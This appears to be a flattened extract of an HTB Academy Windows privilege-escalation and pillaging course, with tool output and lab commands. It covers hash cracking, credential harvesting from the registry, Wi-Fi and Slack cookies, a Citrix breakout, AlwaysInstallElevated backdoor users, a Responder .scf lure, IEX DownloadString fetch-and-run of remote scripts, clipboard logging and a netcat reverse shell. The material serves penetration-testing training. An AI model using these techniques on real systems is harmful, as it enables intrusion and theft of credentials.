8475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0259c19ec71a8b32f91b2
aaaaf032740a39c154:panther1
Session..........: hashcat
Status...........: Cracked
Hash.Name........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......:
$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d...39c154
Time.Started.....: Fri Aug 6 11:17:47 2021 (22 secs)
Time.Estimated...: Fri Aug 6 11:18:09 2021 (0 secs)
Guess.Base.......: File (/opt/useful/seclists/Passwords/Leaked-
Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 276 H/s (4.79ms) @ Accel:1024 Loops:16 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59984-60000
Candidates.#1....: 123456 -> iheartyou
Email
If we gain access to a domain-joined system in the context of a domain user with a Microsoft
Exchange inbox, we can attempt to search the user's email for terms such as "pass,"
"creds," "credentials," etc. using the tool MailSniper.
PS C:\htb> .\lazagne.exe -h
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multim
edia,memory,databases,php}
...
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
positional arguments:
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multim
edia,memory,databases,php}
Choose a main command
chats Run chats module
mails Run mails module
all Run all modules
git Run git module
svn Run svn module
windows Run windows module
wifi Run wifi module
maven Run maven module
sysadmin Run sysadmin module
browsers Run browsers module
games Run games module
multimedia Run multimedia module
memory Run memory module
databases Run databases module
php Run php module
optional arguments:
-h, --help show this help message and exit
-version laZagne version
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
o_
/ ". SessionGopher
," _-"
," m m
..+ ) Brandon Arvanaghi
`m..m Twitter: @arvanaghi | arvanaghi.com
Source : WINLPE-SRV01\htb-student
Session : Default%20Settings
Hostname :
Username :
Password :
PuTTY Sessions
Source : WINLPE-SRV01\htb-student
Session : nix03
Hostname : nix03.inlanefreight.local
SuperPuTTY Sessions
Source : WINLPE-SRV01\htb-student
SessionId : NIX03
SessionName : NIX03
Host : nix03.inlanefreight.local
Username : srvadmin
ExtraArgs :
Port : 22
Putty Session : Default Settings
Windows AutoLogon
Windows Autologon is a feature that allows a user to configure their Windows operating
system to automatically log on to a specific user account, without requiring manual input of
the username and password at each startup. However, once this is configured, the
username and password are stored in the registry, in clear-text. This feature is commonly
used on single-user systems or in situations where convenience outweighs the need for
enhanced security.
The registry keys associated with Autologon can be found under HKEY_LOCAL_MACHINE in
the following hive, and can be accessed by standard users:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
The typical configuration of an Autologon account involves the manual setting of the
following registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
<SNIP>
AutoAdminLogon REG_SZ 1
DefaultUserName REG_SZ htb-student
DefaultPassword REG_SZ HTB_@cademy_stdnt!
Note: If you absolutely must configure Autologon for your windows system, it is
recommended to use Autologon.exe from the Sysinternals suite, which will encrypt the
password as an LSA secret.
Putty
For Putty sessions utilizing a proxy connection, when the session is saved, the credentials
are stored in the registry in clear text.
Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION
NAME>
Note that the access controls for this specific registry key are tied to the user account that
configured and saved the session. Therefore, in order to see it, we would need to be logged
in as that user and search the HKEY_CURRENT_USER hive. Subsequently, if we had admin
privileges, we would be able to find it under the corresponding user's hive in HKEY_USERS .
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
Next, we look at the keys and values of the discovered session " kali%20ssh ":
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
Present REG_DWORD 0x1
HostName REG_SZ
LogFileName REG_SZ putty.log
<SNIP>
In this example, we can imagine the scenario that the IT administrator has configured Putty
for a user in their environment, but unfortunately used their admin credentials in the proxy
connection. The password could be extracted and potentially reused across the network.
For additional information on reg.exe and working with the registry, be sure to check out
the Introduction to Windows Command Line module.
Wifi Passwords
Viewing Saved Wireless Networks
If we obtain local admin access to a user's workstation with a wireless card, we can list out
any wireless networks they have recently connected to.
User profiles
-------------
All User Profile : Smith Cabin
All User Profile : Bob's iPhone
All User Profile : EE_Guest
All User Profile : EE_Guest 2.4
All User Profile : ilfreight_corp
Profile information
-------------------
Version : 1
Type : Wireless LAN
Name : ilfreight_corp
Control options :
Connection mode : Connect automatically
Network broadcast : Connect only if this network is broadcasting
AutoSwitch : Do not switch to other networks
MAC Randomization : Disabled
Connectivity settings
---------------------
Number of SSIDs : 1
SSID name : "ilfreight_corp"
Network type : Infrastructure
Radio type : [ Any Radio Type ]
Vendor extension : Not present
Security settings
-----------------
Authentication : WPA2-Personal
Cipher : CCMP
Authentication : WPA2-Personal
Cipher : GCMP
Security key : Present
Key Content : ILFREIGHTWIFI-CORP123908!
Cost settings
-------------
Cost : Unrestricted
Congested : No
Approaching Data Limit : No
Over Data Limit : No
Roaming : No
Cost Source : Default
Citrix Breakout
In certain environments, where minimal hardening measures are implemented, there might
even be a standard shortcut to cmd.exe in the Start Menu, potentially aiding in unauthorized
access.
However, in a highly restrictive lock-down environment, any attempts to locate "cmd.exe" or
"powershell.exe" in the start menu will yield no results. Similarly, accessing
C:\Windows\system32 through File Explorer will trigger an error, preventing direct access to
critical system utilities. Acquiring access to the "CMD/Command Prompt" in such a restricted
environment represents a notable achievement, as it provides extensive control over the
Operating System. This level of control empowers an attacker to gather valuable information,
facilitating the further escalation of privileges.
There are many techniques which can be used for breaking out of a Citrix environment. This
section will not cover every possible scenario, but we will walk through the most common
ways to perform a Citrix breakout.
Numerous desktop applications deployed via Citrix are equipped with functionalities that
enable them to interact with files on the operating system. Features like Save, Save As,
Open, Load, Browse, Import, Export, Help, Search, Scan, and Print, usually provide an
attacker with an opportunity to invoke a Windows dialog box. There are multiple ways to
open dialog box in windows using tools such as Paint, Notepad, Wordpad, etc. We will cover
using MS Paint as an example for this section.
Run Paint from start menu and click on File > Open to open the Dialog Box.
With the windows dialog box open for paint, we can enter the UNC path
\\127.0.0.1\c$\users\pmorgan under the File name field, with File-Type set to All
Files and upon hitting enter we gain access to the desired directory.
Accessing SMB share from restricted environment
Having restrictions set, File Explorer does not allow direct access to SMB shares on attacker
machine. However, by utilizing the UNC path within the Windows dialog box, it's possible to
circumvent this limitation. This approach can be employed to facilitate file transfers from a
different computer.
Start a SMB server from the attacker machine using Impacket's smbserver.py script.
Back in the Citrix environment, initiate the "Paint" application via the start menu. Proceed to
navigate to the "File" menu and select "Open", thereby prompting the Dialog Box to appear.
Within this Windows dialog box associated with Paint, input the UNC path as
\\10.13.38.95\share into the designated "File name" field. Ensure that the File-Type
parameter is configured to "All Files." Upon pressing the "Enter" key, entry into the share is
achieved.
Due to the presence of restrictions within the File Explorer, direct file copying is not viable.
Nevertheless, an alternative approach involves right-clicking on the executables and
subsequently launching them. Right-click on the pwn.exe binary and select Open , which
should prompt us to run it and a cmd console will be opened.
The executable pwn.exe is a custom compiled binary from pwn.c file which upon execution
opens up the cmd.
#include <stdlib.h>
int main() {
system("C:\\Windows\\System32\\cmd.exe");
}
We can then use the obtained cmd access to copy files from SMB share to pmorgans
Desktop directory.
Alternate Explorer
In cases where strict restrictions are imposed on File Explorer, alternative File System
Editors like Q-Dir or Explorer++ can be employed as a workaround. These tools can
bypass the folder restrictions enforced by group policy, allowing users to navigate and
access files and directories that would otherwise be restricted within the standard File
Explorer environment.
It's worth noting the previous inability of File Explorer to copy files from the SMB share due
to restrictions in place. However, through the utilization of Explorer++ , the capability to
copy files from the \\10.13.38.95\share location to the Desktop belonging to the user
pmorgan has been successfully demonstrated in following screenshot.
Explorer++ is highly recommended and frequently used in such situations due to its speed,
user-friendly interface, and portability. Being a portable application, it can be executed
directly without the need for installation, making it a convenient choice for bypassing folder
restrictions set by group policy.
In cases where an existing shortcut file is unavailable, there are alternative methods to
consider. One option is to transfer an existing shortcut file using an SMB server. Alternatively,
we can create a new shortcut file using PowerShell as mentioned under Interacting with
Users section under Generating a Malicious .lnk File tab. These approaches provide
versatility in achieving our objectives while working with shortcut files.
Script Execution
When script extensions such as .bat , .vbs , or .ps are configured to automatically
execute their code using their respective interpreters, it opens the possibility of dropping a
script that can serve as an interactive console or facilitate the download and launch of
various third-party applications which results into bypass of restrictions in place. This
situation creates a potential security vulnerability where malicious actors could exploit these
features to execute unauthorized actions on the system.
Upon executing the "evil.bat" file, it will initiate a Command Prompt window. This can be
useful for performing various command-line operations.
Escalating Privileges
Once access to the command prompt is established, it's possible to search for vulnerabilities
in a system more easily. For instance, tools like Winpeas and PowerUp can also be
employed to identify potential security issues and vulnerabilities within the operating system.
Using PowerUp.ps1 , we find that Always Install Elevated key is present and set.
We can also validate this using the Command Prompt by querying the corresponding registry
keys:
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
Once more, we can make use of PowerUp, using it's Write-UserAddMSI function. This
function facilitates the creation of an .msi file directly on the desktop.
Output Path
-----------
UserAdd.msi
Now we can execute UserAdd.msi and create a new user backdoor:T3st@123 under
Administrators group. Note that giving it a password that doesn’t meet the password
complexity criteria will throw an error.
Back in CMD execute runas to start command prompt as the newly created backdoor
user.
Bypassing UAC
Even though the newly established user backdoor is a member of Administrators group,
accessing the C:\users\Administrator directory remains unfeasible due to the presence
of User Account Control (UAC). UAC is a security mechanism implemented in Windows to
protect the operating system from unauthorized changes. With UAC, each application that
requires the administrator access token must prompt the end user for consent.
C:\Windows\system32> cd C:\Users\Administrator
Access is denied.
Numerous UAC bypass scripts are available, designed to assist in circumventing the active
User Account Control (UAC) mechanism. These scripts offer methods to navigate past UAC
restrictions and gain elevated privileges.
Users are sometimes the weakest link in an organization. An overloaded employee working
quickly may not notice something is "off" on their machine when browsing a shared drive,
clicking on a link, or running a file. As discussed throughout this module, Windows presents
us with an enormous attack surface, and there are many things to check for when
enumerating local privilege escalation vectors. Once we have exhausted all options, we can
look at specific techniques to steal credentials from an unsuspecting user by sniffing their
network traffic/local commands or attacking a known vulnerable service requiring user
interaction. One of my favorite techniques is placing malicious files around heavily accessed
file shares in an attempt to retrieve user password hashes to crack offline later.
Traffic Capture
If Wireshark is installed, unprivileged users may be able to capture network traffic, as the
option to restrict Npcap driver access to Administrators only is not enabled by default.
Here we can see a rough example of capturing cleartext FTP credentials entered by another
user while signed into the same box. While not highly likely, if Wireshark is installed on a
box that we land on, it is worth attempting a traffic capture to see what we can pick up.
Also, suppose our client positions us on an attack machine within the environment. In that
case, it is worth running tcpdump or Wireshark for a while to see what types of traffic are
being passed over the wire and if we can see anything interesting. The tool net-creds can be
run from our attack box to sniff passwords and hashes from a live interface or a pcap file. It
is worth letting this tool run in the background during an assessment or running it against a
pcap to see if we can extract any credentials useful for privilege escalation or lateral
movement.
When getting a shell as a user, there may be scheduled tasks or other processes being
executed which pass credentials on the command line. We can look for process command
lines using something like this script below. It captures process command lines every two
seconds and compares the current state with the previous state, outputting any differences.
while($true)
{
InputObject SideIndicator
----------- -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-
4BB6-B78D-A8F59079A8D5}} =>
@{CommandLine=“C:\Windows\system32\cmd.exe” } =>
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4}
=>
@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc
My4dm1nP@s5w0Rd} =>
@{CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -
ServerName:CortanaUI.AppXy7vb4pc2... <=
This is successful and reveals the password for the sqlsvc domain user, which we could
then possibly use to gain access to the SQL02 host or potentially find sensitive data such as
database credentials on the backups share.
Vulnerable Services
We may also encounter situations where we land on a host running a vulnerable application
that can be used to elevate privileges through user interaction. CVE-2019–15752 is a great
example of this. This was a vulnerability in Docker Desktop Community Edition before
2.1.0.1. When this particular version of Docker starts, it looks for several different files,
including docker-credential-wincred.exe , docker-credential-wincred.bat , etc.,
which do not exist with a Docker installation. The program looks for these files in the
C:\PROGRAMDATA\DockerDesktop\version-bin\ . This directory was misconfigured to allow
full write access to the BUILTIN\Users group, meaning that any authenticated user on the
system could write a file into it (such as a malicious executable).
Any executable placed in that directory would run when a) the Docker application starts and
b) when a user authenticates using the command docker login . While a bit older, it is not
outside the realm of possibility to encounter a developer's workstation running this version of
Docker Desktop, hence why it is always important to thoroughly enumerate installed
software. While this particular flaw wouldn't guarantee us elevated access (since it relies on
a service restart or user action), we could plant our executable during a long-term
assessment and periodically check if it runs and our privileges are elevated.
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
Starting Responder
Next, start Responder on our attack box and wait for the user to browse the share. If all goes
to plan, we will see the user's NTLMV2 password hash in our console and attempt to crack it
offline.
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[!] Error starting SSL server on port 443, check permissions or other
servers running.
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.43.30
[SMB] NTLMv2-SSP Username : WINLPE-SRV01\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WINLPE-
SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010...<SNIP>...
<SNIP>
ADMINISTRATOR::WINLPE-
SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010...
<SNIP>...:Welcome1
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WINLPE-
SRV01:815c504e7b06ebda:afb6d3...000000
Time.Started.....: Thu May 27 19:16:18 2021 (1 sec)
Time.Estimated...: Thu May 27 19:16:19 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1233.7 kH/s (2.74ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 43008/14344385 (0.30%)
Rejected.........: 0/43008 (0.00%)
Restore.Point....: 36864/14344385 (0.26%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: holabebe -> harder
Note: In our example, wait 2-5 minutes for the "user" to browse the share after starting
Responder.
Try out this technique on the target host to familiarize yourself with the methodology and add
another tactic to your arsenal for when you encounter environments where Server 2019 is
prevalent.
Pillaging
These data points may help gain further access to the network or complete goals defined
during the pre-engagement process of the penetration test. This data can be stored in
various applications, services, and device types, which may require specific tools for us to
extract.
Data Sources
Below are some of the sources from which we can obtain information from compromised
systems:
Installed applications
Installed services
Websites
File Shares
Databases
Directory Services (such as Active Directory, Azure AD, etc.)
Name Servers
Deployment Services
Certificate Authority
Source Code Management Server
Virtualization
Messaging
Monitoring and Logging Systems
Backups
Sensitive Data
Keylogging
Screen Capture
Network Traffic Capture
Previous Audit reports
User Information
History files, interesting documents (.doc/x,.xls/x,password. /pass., etc)
Roles and Privileges
Web Browsers
IM Clients
This is not a complete list. Anything that can provide information about our target will be
valuable. Depending on the business size, purpose, and scope, we may find different
information. Knowledge and familiarity with commonly used applications, server software,
and middleware are essential, as most applications store their data in various formats and
locations. Special tools may be necessary to obtain, extract or read the targeted data from
some systems.
During the following sections, we will discuss and practice some aspects of Pillaging in
Windows.
Scenario
Let's assume that we have gained a foothold on the Windows server mentioned in the below
network and start collecting as much information as possible.
Installed Applications
Understanding which applications are installed on our compromised system may help us
achieve our goal during a pentest. It's important to know that every pentest is different. We
may encounter a lot of unknown applications on the systems we compromised. Learning and
understanding how these applications connect to the business are essential to achieving our
goal.
We will also find typical applications such as Office, remote management systems, IM
clients, etc. We can use dir or ls to check the content of Program Files and Program
Files (x86) to find which applications are installed. Although there may be other apps on
the computer, this is a quick way to review them.
An alternative is to use PowerShell and read the Windows registry to collect more granular
information about installed programs.
DisplayName DisplayVersion
InstallLocation
----------- -------------- ----
-----------
Adobe Acrobat DC (64-bit) 22.001.20169
C:\Program Files\Adobe\Acrobat DC\
CORSAIR iCUE 4 Software 4.23.137
C:\Program Files\Corsair\CORSAIR iCUE 4 Software
Google Chrome 103.0.5060.134
C:\Program Files\Google\Chrome\Application
Google Drive 60.0.2.0
C:\Program Files\Google\Drive File Stream\60.0.2.0\GoogleDriveFS.exe
Microsoft Office Profesional Plus 2016 - es-es 16.0.15330.20264
C:\Program Files (x86)\Microsoft Office
Microsoft Office Professional Plus 2016 - en-us 16.0.15330.20264
C:\Program Files (x86)\Microsoft Office
mRemoteNG 1.62
C:\Program Files\mRemoteNG
TeamViewer 15.31.5
C:\Program Files\TeamViewer
...SNIP...
We can see the mRemoteNG software is installed on the system. mRemoteNG is a tool used
to manage and connect to remote systems using VNC, RDP, SSH, and similar protocols.
Let's take a look at mRemoteNG .
mRemoteNG
mRemoteNG saves connection info and credentials to a file called confCons.xml . They use a
hardcoded master password, mR3m , so if anyone starts saving credentials in mRemoteNG
and does not protect the configuration with a password, we can access the credentials from
the configuration file and decrypt them.
PS C:\htb> ls C:\Users\julio\AppData\Roaming\mRemoteNG
Directory: C:\Users\julio\AppData\Roaming\mRemoteNG
This XML document contains a root element called Connections with the information about
the encryption used for the credentials and the attribute Protected , which corresponds to
the master password used to encrypt the document. We can use this string to attempt to
crack the master password. We will find some elements named Node within the root
element. Those nodes contain details about the remote system, such as username, domain,
hostname, protocol, and password. All fields are plaintext except the password, which is
encrypted with the master password.
As mentioned previously, if the user didn't set a custom master password, we can use the
script mRemoteNG-Decrypt to decrypt the password. We need to copy the attribute
Password content and use it with the option -s . If there's a master password and we know
it, we can then use the option -p with the custom master password to also decrypt the
password.
python3 mremoteng_decrypt.py -s
"sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0
V9u8NEBMcQ6UnuOdkerig=="
Password: ASDki230kasd09fk233aDA
Now let's look at an encrypted configuration file with a custom password. For this example,
we set the custom password admin .
<SNIP>
</Connections>
If we attempt to decrypt the Password attribute from the node RDP_Domain , we will get the
following error.
python3 mremoteng_decrypt.py -s
"EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2
n8AR477ecJi5Y0E/kiakA=="
python3 mremoteng_decrypt.py -s
"EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2
n8AR477ecJi5Y0E/kiakA==" -p admin
Password: ASDki230kasd09fk233aDA
In case we want to attempt to crack the password, we can modify the script to try multiple
passwords from a file, or we can create a Bash for loop . We can attempt to crack the
Protected attribute or the Password itself. If we try to crack the Protected attribute once
we find the correct password, the result will be Password: ThisIsProtected . If we try to
crack the Password directly, the result will be Password: <PASSWORD> .
Spring2017
Spring2016
admin
Password: ASDki230kasd09fk233aDA
admin admin
admins
<SNIP>
There are multiple options to gain access to an IM Client; one standard method is to use the
user's credentials to get into the cloud version of the instant messaging application as the
regular user would.
If the user is using any form of multi-factor authentication, or we can't get the user's plaintext
credentials, we can try to steal the user's cookies to log in to the cloud-based client.
There are often tools that may help us automate the process, but as the cloud and
applications constantly evolve, we may find these applications out of date, and we still need
to find a way to gather information from the IM clients. Understanding how to abuse
credentials, cookies, and tokens is often helpful in accessing web applications such as IM
Clients.
Let's use Slack as an example. Multiple posts refer to how to abuse Slack such as
Abusing Slack for Offensive Operations and Phishing for Slack-tokens. We can use them to
understand better how Slack tokens and cookies work, but keep in mind that Slack's
behavior may have changed since the release of those posts.
There's also a tool called SlackExtract released in 2018, which was able to extract Slack
messages. Their research discusses the cookie named d , which Slack uses to store the
user's authentication token. If we can get our hands on that cookie, we will be able to
authenticate as the user. Instead of using the tool, we will attempt to obtain the cookie from
Firefox or a Chromium-based browser and authenticate as the user.
Firefox saves the cookies in an SQLite database in a file named cookies.sqlite . This file
is in each user's APPDATA directory %APPDATA%\Mozilla\Firefox\Profiles\
<RANDOM>.default-release . There's a piece of the file that is random, and we can use a
wildcard in PowerShell to copy the file content.
We can copy the file to our machine and use the Python script cookieextractor.py to extract
cookies from the Firefox cookies.SQLite database.
Now that we have the cookie, we can use any browser extension to add the cookie to our
browser. For this example, we will use Firefox and the extension Cookie-Editor. Make sure to
install the extension by clicking the link, selecting your browser, and adding the extension.
Once the extension is installed, you will see something like this:
Our target website is slack.com . Now that we have the cookie, we want to impersonate the
user. Let's navigate to slack.com once the page loads, click on the icon for the Cookie-Editor
extension, and modify the value of the d cookie with the value you have from the
cookieextractor.py script. Make sure to click the save icon (marked in red in the image
below).
Once you have saved the cookie, you can refresh the page and see that you are logged in
as the user.
Now we are logged in as the user and can click on Launch Slack . We may get a prompt for
credentials or other types of authentication information; we can repeat the above process
and replace the cookie d with the same value we used to gain access the first time on any
website that asks us for information or credentials.
Once we complete this process for every website where we get a prompt, we need to refresh
the browser, click on Launch Slack and use Slack in the browser.
After gaining access, we can use built-in functions to search for common words like
passwords, credentials, PII, or any other information relevant to our assessment.
Cookie Extraction from Chromium-based Browsers
The chromium-based browser also stores its cookies information in an SQLite database. The
only difference is that the cookie value is encrypted with Data Protection API (DPAPI).
DPAPI is commonly used to encrypt data using information from the current user account or
computer.
To get the cookie value, we'll need to perform a decryption routine from the session of the
user we compromised. Thankfully, a tool SharpChromium does what we need. It connects to
the current user SQLite cookie database, decrypts the cookie value, and presents the result
in JSON format.
PS C:\htb> IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1
sSh1t/PowerSh
arpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
PS C:\htb> Invoke-SharpChromium -Command "cookies slack.com"
[*] Done.
We got an error because the cookie file path that contains the database is hardcoded in
SharpChromium, and the current version of Chrome uses a different location.
We can modify the code of SharpChromium or copy the cookie file to where SharpChromium
is looking.
We can now use Invoke-SharpChromium again to get a list of cookies in JSON format.
<SNIP>
{
"domain": ".slack.com",
"expirationDate": 1974643257.67155,
"hostOnly": false,
"httpOnly": true,
"name": "d",
"path": "/",
"sameSite": "lax",
"secure": true,
"session": false,
"storeId": null,
"value": "xoxd-
5KK4K2RK2ZLs2sISUEBGUTxLO0dRD8y1wr0Mvst%2Bm7Vy24yiEC3NnxQra8uw6IYh2Q9prDaw
ms%2FG72og092YE0URsfXzxHizC2OAGyzmIzh2j1JoMZNdoOaI9DpJ1Dlqrv8rORsOoRW4hnyg
mdR59w9Kl%2BLzXQshYIM4hJZgPktT0WOrXV83hNeTYg%3D%3D"
},
{
"domain": ".slack.com",
"hostOnly": false,
"httpOnly": true,
"name": "d-s",
"path": "/",
"sameSite": "lax",
"secure": true,
"session": true,
"storeId": null,
"value": "1659023172"
},
<SNIP>
[*] Done.
We can now use this cookie with cookie-editor as we did with Firefox.
Note: When copy/pasting the contents of a cookie, make sure the value is one line.
Clipboard
In many companies, network administrators use password managers to store their
credentials and copy and paste passwords into login forms. As this doesn't involve typing
the passwords, keystroke logging is not effective in this case. The clipboard provides
access to a significant amount of information, such as the pasting of credentials and 2FA soft
tokens, as well as the possibility to interact directly with the RDP session clipboard.
We can use the Invoke-Clipboard script to extract user clipboard data. Start the logger by
issuing the command below.
PS C:\htb> IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardia
ns/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
PS C:\htb> Invoke-ClipboardLogger
The script will start to monitor for entries in the clipboard and present them in the PowerShell
session. We need to be patient and wait until we capture sensitive information.
PS C:\htb> Invoke-ClipboardLogger
https://portal.azure.com
[email protected]
Sup9rC0mpl2xPa$$ws0921lk
Note: User credentials can be obtained with tools such as Mimikatz or a keylogger. C2
Frameworks such as Metasploit contain built-in functions for keylogging.
Let's take Backup Servers as an example, and how, if we compromise a server or host with
a backup system, we can compromise the network.
Typically backup systems need an account to connect to the target machine and perform the
backup. Most companies require that backup accounts have local administrative privileges
on the target machine to access all its files and services.
If we gain access to a backup system , we may be able to review backups, search for
interesting hosts and restore the data we want.
As we previously discussed, we are looking for information that can help us move laterally in
the network or escalate our privileges. Let's use restic as an example. Restic is a modern
backup program that can back up files in Linux, BSD, Mac, and Windows.
To start working with restic , we must create a repository (the directory where backups
will be stored). Restic checks if the environment variable RESTIC_PASSWORD is set and
uses its content as the password for the repository. If this variable is not set, it will ask for the
password to initialize the repository and for any other operation in this repository.
We first need to create and initialize the location where our backup will be saved, called the
repository .
Directory: E:\
If we want to back up a directory such as C:\Windows , which has some files actively used
by the operating system, we can use the option --use-fs-snapshot to create a VSS
(Volume Shadow Copy) to perform the backup.
Note: If the user doesn't have the rights to access or copy the content of a directory, we may
get an Access denied message. The backup will be created, but no content will be found.
We can also check which backups are saved in the repository using the shapshot
command.
If we navigate to C:\Restore , we will find the directory structure where the backup was
taken. To get to the SampleFolder directory, we need to navigate to
C:\Restore\C\SampleFolder .
We need to understand our targets and what kind of information we are looking for. If we find
a backup for a Linux machine, we may want to check files like /etc/shadow to crack users'
credentials, web configuration files, .ssh directories to look for SSH keys, etc.
If we are targeting a Windows backup, we may want to look for the SAM & SYSTEM hive to
extract local account hashes. We can also identify web application directories and common
files where credentials or sensitive information is stored, such as web.config files. Our goal is
to look for any interesting files that can help us achieve our goal.
Note: restic works similarly in Linux. If we don't know where restic snapshots are saved, we
can look in the file system for a directory named snapshots.
Keep in mind that the environment variable may not be set. If that's the case, we will need to
provide a password to restore the files.
Hundreds of applications and methods exist to perform backups, and we cannot detail each.
This restic case is an example of how a backup application could work. Other systems will
manage a centralized console and special repositories to save the backup information and
execute the backup tasks.
As we move forward, we will find different backup systems, and we recommend taking the
time to understand how they work so that we can eventually abuse their functions for our
purpose.
Conclusion
There are still plenty of locations, applications, and methods to obtain interesting information
from a targeted host or a compromised network. We may find information in cloud services,
network devices, IoT, etc. Be open and creative to explore your target and network and
obtain the information you need using your methods and experience.
Miscellaneous Techniques
One classic example is certutil.exe, whose intended use is for handling certificates but can
also be used to transfer files by either downloading a file to disk or base64
encoding/decoding a file.
Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully
Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.
A binary such as rundll32.exe can be used to execute a DLL file. We could use this to obtain
a reverse shell by executing a .DLL file that we either download onto the remote host or host
ourselves on an SMB share.
It is worth reviewing this project and becoming familiar with as many binaries, scripts, and
libraries as possible. They could prove to be very useful during an evasive assessment, or
one in which the client restricts us to only a managed Windows workstation/server instance
to test from.
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
Our enumeration shows us that the AlwaysInstallElevated key exists, so the policy is
indeed enabled on the target system.
We can upload this MSI file to our target, start a Netcat listener and execute the file from the
command line like so:
Catching Shell
If all goes to plan, we will receive a connection back as NT AUTHORITY\SYSTEM .
nc -lnvp 9443
C:\Windows\system32>whoami
whoami
nt authority\system
This issue can be mitigated by disabling the two Local Group Policy settings mentioned
above.
CVE-2019-1388
CVE-2019-1388 was a privilege escalation vulnerability in the Windows Certificate Dialog,
which did not properly enforce user privileges. The issue was in the UAC mechanism, which
presented an option to show information about an executable's certificate, opening the
Windows certificate dialog when a user clicks the link. The Issued By field in the General
tab is rendered as a hyperlink if the binary is signed with a certificate that has Object
Identifier (OID) 1.3.6.1.4.1.311.2.1.10 . This OID value is identified in the wintrust.h
header as SPC_SP_AGENCY_INFO_OBJID which is the SpcSpAgencyInfo field in the
details tab of the certificate dialog. If it is present, a hyperlink included in the field will render
in the General tab. This vulnerability can be exploited easily using an old Microsoft-signed
executable ( hhupd.exe) that contains a certificate with the SpcSpAgencyInfo field
populated with a hyperlink.
First right click on the hhupd.exe executable and select Run as administrator from the
menu.
Next, click on Show information about the publisher's certificate to open the
certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the
Details tab.
Next, we go back to the General tab and see that the Issued by field is populated with a
hyperlink. Click on it and then click OK , and the certificate dialog will close, and a browser
window will launch.
If we open Task Manager , we will see that the browser instance was launched as SYSTEM.
Next, we can right-click anywhere on the web page and choose View page source . Once
the page source opens in another tab, right-click again and select Save as , and a Save As
dialog box will open.
At this point, we can launch any program we would like as SYSTEM. Type
c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have
a cmd.exe instance running as SYSTEM.
Microsoft released a patch for this issue in November of 2019. Still, as many organizations
fall behind on patching, we should always check for this vulnerability if we gain GUI access
to a potentially vulnerable system as a low-privilege user.
This link lists all of the vulnerable Windows Server and Workstation versions.
Note: The steps above were done using the Chrome browser and may differ slightly in other
browsers.
Scheduled Tasks
Enumerating Scheduled Tasks
We can use the schtasks command to enumerate scheduled tasks on the system.
Folder: \
INFO: There are no scheduled tasks presently available at your access
level.
Folder: \Microsoft
